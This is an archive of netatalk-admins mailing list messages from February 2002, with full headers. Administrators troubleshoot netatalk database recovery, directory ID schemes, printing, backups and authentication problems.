> > 
> > 
> > a: what is going on here? i don't know dick diddly about DB3
> > 
> > b: how do i fix it? it says to run recovery, but i can't seem to find a command to run that will actually run any kind of recovery....
> > 
> > 
> > any help would be greatly appreciated.
> > 
> > 
> -- 
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
> 
> http://mattwork.potsdam.edu/
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Feb 13 10:11:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA26391
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 10:11:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA28226
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 10:11:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA28224
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 10:11:45 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA28158
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 10:11:42 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA13058;
	Wed, 13 Feb 2002 16:38:37 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 13 Feb 2002 16:12:12 +0100
Subject: Re: DB_RUNRECOVERY
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Charles Mangin <charles@burneydesign.com>, <netatalk-admins@umich.edu>
Message-ID: <B89040DC.1BCD6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <f0510031eb8902c3d2d3e@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 13 Feb 2002 09:48:55 -0500, Charles Mangin wrote:

> as i was getting heinous DID conflicts using the default method.

What do you refer to as 'default' (last or hash aka mtab) and which Netatalk
version are you running?

I never ever got any messages regarding DID conflicts when using the 'last'
DID scheme, so I'm a bit curious.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 13 10:42:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA27843
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 10:42:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA04418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 10:42:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA04393
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 10:42:39 -0500 (EST)
Received: from web13705.mail.yahoo.com (web13705.mail.yahoo.com [216.136.175.138])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA04320
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 10:42:38 -0500 (EST)
Message-ID: <20020213154236.59158.qmail@web13705.mail.yahoo.com>
Received: from [4.62.122.55] by web13705.mail.yahoo.com via HTTP; Wed, 13 Feb 2002 07:42:36 PST
Date: Wed, 13 Feb 2002 07:42:36 -0800 (PST)
From: J Robinson <jrobinson852@yahoo.com>
Subject: Re: changing file sizes/dates on mac?
To: netatalk-admins@umich.edu
In-Reply-To: <20020212172106.25887.qmail@web13709.mail.yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

I'm still having this problem... am I the only person
ever to experience this?  Is this some DID-related
issue? Any tips, info, or workarounds are most
welcome.
Thanks again
J Robinson

--- J Robinson <jrobinson852@yahoo.com> wrote:
> Hello Kind Netatalk-Admins:
> 
> I'm seeing a weird problem I haven't really found
> described anywhere. Apologies if this is some kind
> of
> FAQ. Also I tried to post this a little while ago so
> sorry if this got reposted.
> 
> (MacOS 9.2.2 <-> Linux 2.4.7 & netatalk 1.5.1.1)
> 
> The problem I'm seeing is that certain files in
> certain directories (which of course have hundreds
> of
> files in them) report inconsistent dates and/or
> sizes
> when viewed from the mac.  
> 
> In particular, when viewed in the finder ordered by
> size or modified time, some files cycle between
> reporting two different sets of data, and the list
> of
> files continually resorts as a result. If I catch
> one
> of the jumping files and do a 'file info' on it,
> then
> the file info (consistent with the list of files)
> shows a continually changing modification time
> and/or
> size
> which alternate between two values about every .8
> seconds. If the same file is moved to another folder
> on the same netatalk share, then its date/size
> settle
> to stable values.
> 
> Of course this problem does not show up when the
> same
> files are viewed on the linux box directly. 
> 
> Any tips?  The .AppleDouble directories are writable
> by the user viewing the files on the mac.
> 
> Thanks in advance for any tips/advice, and I can
> provide more details if needed.
> jrobinson
> 
> 
> 

__________________________________________________
Do You Yahoo!?
Send FREE Valentine eCards with Yahoo! Greetings!
http://greetings.yahoo.com

From netatalk.administrators-errors@umich.edu  Wed Feb 13 11:43:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA01743
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 11:43:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA29485
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 11:43:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA29479
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 11:43:54 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA29460
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 11:43:53 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Wed, 13 Feb 2002 11:43:52 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100322b89047669272@[192.168.42.39]>
In-Reply-To: <B89040DC.1BCD6%Thomas.Kaiser@phg-online.de>
References: <B89040DC.1BCD6%Thomas.Kaiser@phg-online.de>
Date: Wed, 13 Feb 2002 11:44:42 -0500
To: <netatalk-admins@umich.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: DB_RUNRECOVERY
Content-Type: text/plain; charset="us-ascii"

At 4:12 PM +0100 2/13/02, Thomas Kaiser wrote:
>On Wed, 13 Feb 2002 09:48:55 -0500, Charles Mangin wrote:
>
>> as i was getting heinous DID conflicts using the default method.
>
>What do you refer to as 'default' (last or hash aka mtab) and which Netatalk
>version are you running?
>
>I never ever got any messages regarding DID conflicts when using the 'last'
>DID scheme, so I'm a bit curious.

i guess it was "last". i had such bad problems with directories spontaneously disappearing, error -50s, unmovable items, etc, that i had to resort to trying a different scheme. for one reason or another, mtab wasn't working or it didn't compile or something (i forget why. maybe i didn't have mtab set up properly? that doesn't sound right...) anyhow, i decided to try cnid, as it looked like a good idea at the time.

like i said, it worked beautifully for a couple of months. and, so far, i haven't noticed any errors on the user side, just the messages in the log. with DID=last, the logs filled up with did conflicts, and the users lost a lot of stuff.


From netatalk.administrators-errors@umich.edu  Wed Feb 13 11:49:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA02081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 11:49:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA05165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 11:49:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA05154
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 11:49:38 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA05132
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 11:49:37 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Wed, 13 Feb 2002 11:49:36 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100323b890487ed480@[192.168.42.39]>
In-Reply-To: <1013612560.7949.72.camel@comp10574>
References: <946811523gjermund@mac.com> 
 <f0510031eb8902c3d2d3e@[192.168.42.39]> 
 <1013612427.7949.69.camel@comp10574> <1013612560.7949.72.camel@comp10574>
Date: Wed, 13 Feb 2002 11:50:25 -0500
To: Matthew Keller <kellermg@potsdam.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: DB_RUNRECOVERY
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 10:02 AM -0500 2/13/02, Matthew Keller wrote:
>	Wow, on re-reading my response I realized it was rather rude- Public
>and humble apologies for that. Very much not my intention. *slaps self*
>	CNID is currently not stable, and is not recommended for use by
>non-developers/testers and certainly not in a production environment.
>It'll be real cool when it's done but in the mean-time, it's kinda icky
>for general use.

apology accepted, i guess. you still need to send me something pretty to make up for it, though :)

anyhow, under the default scheme (i guess it's "last") i had awful problems with directories spontaneously disappearing, error -50s, unmovable items, etc. so much so that i had to resort to trying a different scheme. i decided to try cnid, as it seemed like a good idea at the time.

like i said, it worked beautifully for a couple of months. and, so far, i haven't noticed any errors on the user side, just the messages in the log. with DID=last, the logs filled up with did conflicts, and the users lost a lot of stuff. however, i wouldn't exactly call my system a "production environment". the server is only used for transferring files from one machine to another, and not any real, permanent storage. it's just faster to have a central fileserver than to have a bunch of peers filesharing. and if i have to rebuild the server once in a while, hell, it's job security :)


From netatalk.administrators-errors@umich.edu  Wed Feb 13 11:52:25 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA02264
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 11:52:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA08212
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 11:52:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA08186
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 11:52:08 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA08144
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 11:52:05 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Wed, 13 Feb 2002 11:52:05 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100324b8904a0e32ab@[192.168.42.39]>
In-Reply-To: <1013612427.7949.69.camel@comp10574>
References: <946811523gjermund@mac.com> 
 <f0510031eb8902c3d2d3e@[192.168.42.39]>
 <1013612427.7949.69.camel@comp10574>
Date: Wed, 13 Feb 2002 11:52:54 -0500
To: Matthew Keller <kellermg@potsdam.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: DB_RUNRECOVERY
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 10:00 AM -0500 2/13/02, Matthew Keller wrote:
>	Don't use CNID unless you understand the ramifications of enabling an
>"experimental" service. It's getting better, but still has issues.

well, since i wrote, i found the db3 db_recover utility, but it doesn't do a lot unless i run it in the same directory as the db to recover. i'm still stumbling about my filesystem trying to find it, but any help or pointers would be appreciated (or a filename to look for...)

From netatalk.administrators-errors@umich.edu  Wed Feb 13 13:20:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA07649
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 13:20:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA04918
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 13:20:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA04912
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 13:20:56 -0500 (EST)
Received: from mail.supereva.it (adamo38.supereva.it [195.110.96.148])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA04895
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 13:20:54 -0500 (EST)
Received: (qmail 18647 invoked from network); 13 Feb 2002 18:20:31 -0000
Received: from unknown (HELO bbs.cybervalley.org) (80.234.5.37)
  by mail.supereva.it with SMTP; 13 Feb 2002 18:20:31 -0000
Received: from clementino.cybervalley.org (clementino.cybervalley.org [192.168.10.10])
	by bbs.cybervalley.org (Postfix) with ESMTP id 718CEF9D4
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 18:25:24 +0100 (CET)
Received: by clementino.cybervalley.org (Postfix, from userid 1000)
	id 2206A38A9; Wed, 13 Feb 2002 18:25:03 +0100 (CET)
Sender: leandro@clementino.cybervalley.org
To: netatalk-admins@umich.edu
Subject: Troubles printing
From: Leandro Noferini <leandro@firenze.linux.it>
X-fingeprint: CCF5 27C9 5E73 6DEF 53BD  346F AFA4 F6D2 3938 4158
Date: Wed, 13 Feb 2002 18:25:03 +0100
Message-ID: <87sn851ehc.fsf@clementino.cybervalley.org>
Lines: 42
User-Agent: Gnus/5.090006 (Oort Gnus v0.06) Emacs/21.1
 (powerpc-debian-linux-gnu)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Ciao a tutti,

I  am using  netatalk on  a little  local net:  everything  works fine
sharing files but I cannot print. 

This the situation:

- Debian potato with netatalk 1.4b2+asun2.1.3-6 on an i386

- lpr with magicfilter

- printer Olivetti JP 350 WS (it works fine with laserjet filter)

- this is my papd

Stampante della BBs:\
        :pd=/usr/share/ppd/en/Aladdin_Ghostscript_With_A4_Paper.ppd:\
        :pr=lp:op=daemon:

- the mac clients are iMac with OS9 and LC with System 7.5.3

- when I  try to print from  mac clients I receive  this error message
  from lpr in my mailbox

 From: lp@cybervalley.org (lp)
 Subject: lp printer job "Rosario [v6.0]"
 To: daemon@bbs.cybervalley.org
 Reply-To: root@bbs.cybervalley.org
 X-Sent: 8 minutes ago

 Your printer job (Rosario [v6.0])
 was not printed because it was not linked to the original file



What does it mean?

-- 
Ciao
leandro
Email: leandro@firenze.linux.it
GPG Key fingerprint = CCF5 27C9 5E73 6DEF 53BD  346F AFA4 F6D2 3938 4158

From netatalk.administrators-errors@umich.edu  Wed Feb 13 14:13:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA10358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 14:13:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA02023
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 14:13:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA02011
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 14:13:08 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA01996
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 14:13:07 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g1DJCsI3163124;
	Wed, 13 Feb 2002 14:12:56 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <p05100301b89064807c6c@[128.172.20.37]>
In-Reply-To: <f05100324b8904a0e32ab@[192.168.42.39]>
References: <946811523gjermund@mac.com> 
 <f0510031eb8902c3d2d3e@[192.168.42.39]>
 <1013612427.7949.69.camel@comp10574>
 <f05100324b8904a0e32ab@[192.168.42.39]>
Date: Wed, 13 Feb 2002 14:12:51 -0500
To: netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Backing up a Netatalk share.
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hey All,

It's the resident netatalk newbie here.

I'm coming from an NT Server and moving to Linux. Our shares were set 
up a little differently on the NT side. For example, we have a share 
called "Faculty" that looks like this:

Faculty
|->jdoe
|->sdavis
|->rmaster

And what I had before was (the glory of NT's ACLs) the Faculty 
folders set with permissions so that the individual faculty member 
had owner privileges, none of the other faculty had access to another 
faculty's folder, and the BackUp admin had full rights to the root 
Faculty share, and every subsequent folder.

Under Linux, i've got it set up so that when Faculty log in, they get 
their home directories exported as a share from a structure that 
looks like this:

/home
    /shares
       /faculty
          drwx------   jdoe faculty      4096 Feb 13 10:53 jdoe
          drwx------   sdavis faculty      4096 Feb 13 10:53 sdavis
          drwx------   rmaster faculty      4096 Feb 13 10:53 rmaster

So I need to back this thing up, and since I'm using Retrospect ( the 
only thing I've found that safely stores the Mac file info, resource 
fork, etc.)

I'm thinking what I could do is create a .AppleVolumes file for root, 
and export out a raw share for the root of the Faculty directory, 
which will then let retrospect go in and grab whatever files need to 
be grabbed without regard to permissions.

Is there any major drawback to maintaining a login via AppleShare as 
root that way? (the Backup server is separate from our file server).

This isn't the only directory I'll need to do this one. There's about 
four others too. And it'll make life a lot easier for me since 
Retrospect will grab additions to the folders within that share 
without me having to constantly having to modify the backup sets.

So, other than having a user with way too much power logged in, is 
there any reason I shouldn't do this?

Anyone have a better solution?


-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Wed Feb 13 15:40:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA14845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 15:40:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA11406
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 15:40:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA11385
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 15:40:13 -0500 (EST)
Received: from rhenium.btinternet.com (rhenium.btinternet.com [194.73.73.93])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA11341
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 15:40:10 -0500 (EST)
Received: from host213-122-85-48.in-addr.btopenworld.com ([213.122.85.48] helo=nexus.local.net)
	by rhenium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16b6CA-0001iJ-00
	for netatalk-admins@umich.edu; Wed, 13 Feb 2002 20:40:03 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id UAA05550
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 20:31:42 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510031fb8907a91e6ae@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Wed, 13 Feb 2002 20:31:39 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: logging in
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I've just replaced my previous (mandrake) 1.5.1.1 rpm with my own 
compiled version as I wanted to incorporate SLP registration. But...

I can no longer log in as anything other than guest. Everything I try 
says the password is incorrect.

I specified '--with-pam=/etc/pam.d' and '--with-shadow' when I ran 
configure and I have the guest, cleartxt (linked to pam) and also a 
new passwd uam. They are listed in netatalk.conf and nowhere else 
(not changed from before).

I also specified '--disable-ddp', but I can't see that as the problem.

My guess is it's something to do with differences to the uams for my 
compile from the mandrake rpm, but can someone give me a clue as to 
what the problem is? I'd really appreciate it.

Thanks.

BTW, the auto SLP registration works fine:-)
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Wed Feb 13 16:17:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA17291
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 16:17:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA00990
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 16:17:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA00968
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 16:17:07 -0500 (EST)
Received: from harmony.cc.purdue.edu (harmony.cc.purdue.edu [128.210.135.186])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA00919
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 16:17:05 -0500 (EST)
Received: from harmony.cc.purdue.edu (localhost [127.0.0.1])
	by harmony.cc.purdue.edu (8.10.2+Sun/8.9.3) with ESMTP id g1DLH3M21190
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 16:17:03 -0500 (EST)
Message-Id: <200202132117.g1DLH3M21190@harmony.cc.purdue.edu>
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Reply-To: sholmes@purdue.edu
Subject: --force-uidgid
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 13 Feb 2002 16:17:01 -0500
From: Steve Holmes <sjh@purdue.edu>

I'm pretty new to netatalk, but I have afpd working pretty much vanilla 
(1.5.1.1) on a Solaris 8 (sparc) server. 

What we REALLY need is for the --force-uidgid feature to work. I see in 
the configure help that it is marked "BROKEN".

I really need to talk to someone to find out about this feature, how is it 
broken, is anyone working on it, when will it be fixed???? I haven't found 
any docs on how it would even be configured (i.e. config file options to 
control which uid/gid is force to which, etc.) so any info on that would 
help, too.

[Background: we almost let the Mac platform die by attrition here, but 
have resurrected it provisionally. We are running samba to support Windows 
labs and use the samba "force user" feature to allow students to mount 
shared shares (:-) with the permissions of a shadow group so they can 
write into the share. We *have* to be able to do this on the Mac platform 
or it ain't gonna fly.]

Thanks,
Steve


-- 
Steve Holmes		        \http://harmony.cc.purdue.edu/~sjh
Unix Systems Administrator       \Email:sholmes@purdue.edu
Purdue University Computing Center\
1408 Mathematics Building          \Phone: (765) 496-3325
West Lafayette IN 47907-1408        \




From netatalk.administrators-errors@umich.edu  Wed Feb 13 16:32:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA17934
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 16:32:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA15616
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 16:32:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA15606
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 16:32:00 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA15567
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 16:31:58 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA14874;
	Wed, 13 Feb 2002 22:58:53 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 13 Feb 2002 22:32:27 +0100
Subject: Re: DB_RUNRECOVERY
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Charles Mangin <charles@burneydesign.com>, <netatalk-admins@umich.edu>
Message-ID: <B89099FA.1BD8F%Thomas.Kaiser@phg-online.de>
In-Reply-To: <f05100322b89047669272@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 13 Feb 2002 11:44:42 -0500, Charles Mangin wrote:

[ID scheme causing trouble]
> i guess it was "last". i had such bad problems with directories spontaneously
> disappearing, error -50s, unmovable items, etc,

Hmm... This sounds like the problems with the older inode-kludge code, the
predecessor of mtab/hash.

You reported problems a while back and wrote, that you were using an early
1.5pre. Someone mentioned on the netatalk-developer list, that until 1.5pre6
(can't remember exactly) mtab has been the default and from then on, last.

I'm using last for years and had never had any strange occurances of these
symptoms, you reported.

> that i had to resort to trying a different scheme.

I would give 'last' a second chance on a production server, as the only
well-known problems with it are non-working file-/folder-IDs. But I've never
heard of data loss or problems with duplicate IDs and so on...

> [...] maybe i didn't have mtab set up properly?

In the doc folder exists a README.mtab document for this purpose...

> [...]
> with DID=last, the logs filled up with did conflicts, and the users lost a lot
> of stuff.

Still can't believe it. Do others had this problems with DID=last?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 13 18:48:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA25581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 18:48:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA26970
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 18:48:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA26964
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 18:48:50 -0500 (EST)
Received: from moutng0.schlund.de (moutng0.kundenserver.de [212.227.126.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA26933
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 18:48:48 -0500 (EST)
Received: from [212.227.126.160] (helo=mrelayng0.kundenserver.de)
	by moutng0.schlund.de with esmtp (Exim 3.22 #2)
	id 16b98Y-00076f-00
	for netatalk-admins@umich.edu; Thu, 14 Feb 2002 00:48:30 +0100
Received: from [193.159.111.196] (helo=[193.159.111.196])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16b98Y-0001IQ-00
	for netatalk-admins@umich.edu; Thu, 14 Feb 2002 00:48:30 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 14 Feb 2002 00:48:45 +0100
Subject: Re: network connections are suddenly dropped ? 
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B890B85B.30337%ts@visual-s.de>
In-Reply-To: <ELEEKGAGFFNGOEHDIHKDKEDJCAAA.sysadmin@netz-leistung.de>
Mime-version: 1.0
